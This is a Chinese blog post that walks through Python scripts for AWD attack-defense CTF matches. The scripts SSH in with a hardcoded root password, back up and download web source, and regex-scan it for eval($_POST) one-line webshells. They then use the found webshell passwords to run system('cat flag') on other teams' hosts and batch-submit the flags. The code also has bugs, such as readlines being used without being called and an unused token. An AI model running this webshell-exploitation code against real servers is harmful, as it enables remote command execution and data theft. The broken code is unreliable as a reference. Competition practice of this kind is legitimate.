|
AWD中常用Python脚本(1):自动打包下载和提交flag
01 面临问题继续突击安全相关知识。
既然大神带我打团队,还是要花时间准备的,虽然第一次可能会打酱油。
最近学习了一些python常用的库,包括requests,paramiko等,那么马上要开始比赛了,需要写点总结性脚本。
大神说过,AWD起手式一般都要利用组委会提供的账号密码登录自己团队的靶机,然后ssh登录后,打包备份源代码,下载后D盾扫描分析后门,使用脚本进行批量攻击其他团队靶机,获取flag后提交。
那么如何实现呢?
02 怎么办将任务分解,首先根据IP地址,账号密码自动ssh服务器。
ssh自动登录并打包备份使用paramiko库实现ssh登录,代码如下:
- #自动打包备份目录
- def auto_dump(ssh,r_path="/var/www/html", b_path = "/tmp/html.tar"):
- cmd = "tar -cPf {} {}".format(b_path,r_path)
- res = ssh.run_cmd(cmd)
- print(res)
- return res
- if __name__=="__main__":
- host = '193.112.2.181'
- port = 22
- username='root'
- pwd = "Gmcc1234"
- host = {"host":host,"port":port,"username":username,"pwd":pwd}
- r_path = "/var/www/html" #要打包路径
- b_path = "/tmp/html.tar" #备份路径
- ssh = SSH(host)
- ssh.connect()
-
- #自动备份指定目录到备份路径
- auto_dump(ssh)
- print("打包备份成功,备份目录是:",b_path)
复制代码 运行如下,自动打包备份
自动打包备份
ssh自动下载备份文件对打包的文件进行自动下载到本地路径l_file,这个参数可以配置
- l_file = "C:\\Users\\zhuf05\\Desktop\\html.tar" #本地存储路径
- auto_download(ssh,l_file)
- print("文件下载成功,路径是:",l_file)
复制代码 运行如下,自动下载到本地路径
自动下载备份文件
按照大神说法,此时需要用D盾进行源代码扫描分析,但是这不需要时间,D盾的原理也是一些关键字检测,检测是否存在一句话木马等后台漏洞。
这个功能python应该也可以啊。
于是首先用python对tar文件进行分析,然后对每个文件进行检测,通过正则表达式匹配是否存在一句话木马eval关键函数等。
- #自动分析tar文件
- def auto_analy_tar(l_file):
- muma_files = []
- tar = tarfile.open(l_file)
- for member in tar.getmembers():
- if member.isfile():
- f = tar.extractfile(member)
- content = f.read().decode("utf-8","replace")
- bl,pwd = analy_content(content)
- if bl:
- muma = {"file":member.name,"pwd":pwd}
- muma_files.append(muma)
- return muma_files
-
-
- #匹配后台木马,返回密码 后续需要完善匹配规则
- def analy_content(content):
- """
- eval($_POST['hacker']);
- """
- p1 = re.compile("eval\(\$\_POST\['(\w+)'\]\);")
- searchObj = p1.search(content)
- if searchObj:
- pwd = searchObj.groups()[0]
- return 1,pwd
- return 0,0
- #开始分析木马文件
- muma_files = auto_analy_tar(l_file)
- print("后台一句话木马:",muma_files)
-
复制代码 运行如下,可以发现找到的全部可疑木马文件
可疑木马文件分析
其实有些木马文件的密码可能不能直接使用,比如if内部的eval函数,需要首先满足if条件。
自动利用webshell获取flag拿到木马文件后,就可以尝试自动进行后门利用,获取flag,可以通过对每个木马文件的路径,拼接出url,使用获取的密码进行提交。
然后执行php指令,如echo system('cat /var/www/html/flag.txt');,可以根据需要修改flag.txt的路径
- #自动获取flag
- def auto_getflag(ip,port,muma_files):
- flag = open(flag_txt,"w")
- for muma in muma_files:
- file = muma["file"]
- pwd = muma["pwd"]
- payload = {pwd: "echo system('cat /var/www/html/flag.txt');"}
- path = file.replace("/var/www/html","")
- url = "http://" + ip+":" + str(port) + path
- print("url",url)
- flag.writelines(url)
- res = requests.post(url,payload,timeout=1)
- if res.status_code == requests.codes.ok:
- print("flag",res.text)
- flag.writelines(res.text)
- flag.close()
- return 0
- flag_txt = "firstround_flag.txt" #保存flag文件
- #自动获取flag 写入flag_txt文件中
- auto_getflag(ip,port1,muma_files)
复制代码 运行如下,可以发现代码已经在尝试利用每个木马文件,前面几个是md5后门,无法利用,可以发现you win!,已经获取flag,且相关内容已经存入文件中
自动获取flag
自动提交flag根据组委会提供的flag提交路径和团队token,批量提交之前获取的文件中
- #自动提交flag
- def auto_submit(flag_url,team_token,flag):
- with open(flag) as f:
- for line in f.readlines:
- print(line)
- payload = {"answer":line}
- res = requests.post(flag_url,payload,timeout=1)
- if res.status_code == requests.codes.ok:
- print("flag",res.text)
- return 0
- flag_url = "http://47.100.214.15:58880/flaginfo.php?action=submitflag" #提交flag的URL
- team_token = ""
- #自动提交flag
- auto_submit(flag_url,team_token,flag_txt)
复制代码 利用之前某平台验证flag路径,实现自动提交验证
自动提交flag
好了,终于把流程走完了,感觉还是可以使用的,基本修改一些配置就可以快速应用,其实还有很多细节需要优化和完善,特别是一些异常判断,避免代码锁死,还有就是后台木马的检测逻辑需要进一步完善,以便检测更多木马逻辑。
03 为什么为什么要这么做?虽然脚本还很简陋,但是自己实现一遍,感受很深,特别是解决遇到的各种问题。
就是不知道在实战中如何?
04 更好的选择有没有更好的选择关键还是实战啊,这些脚本都是虚的,关键在于熟悉python,知道快速修改,以及能够在实战中发挥作用。
一句话脚本很强大,很强大,感觉AWD就是一些团队比拼脚本啊。
|
|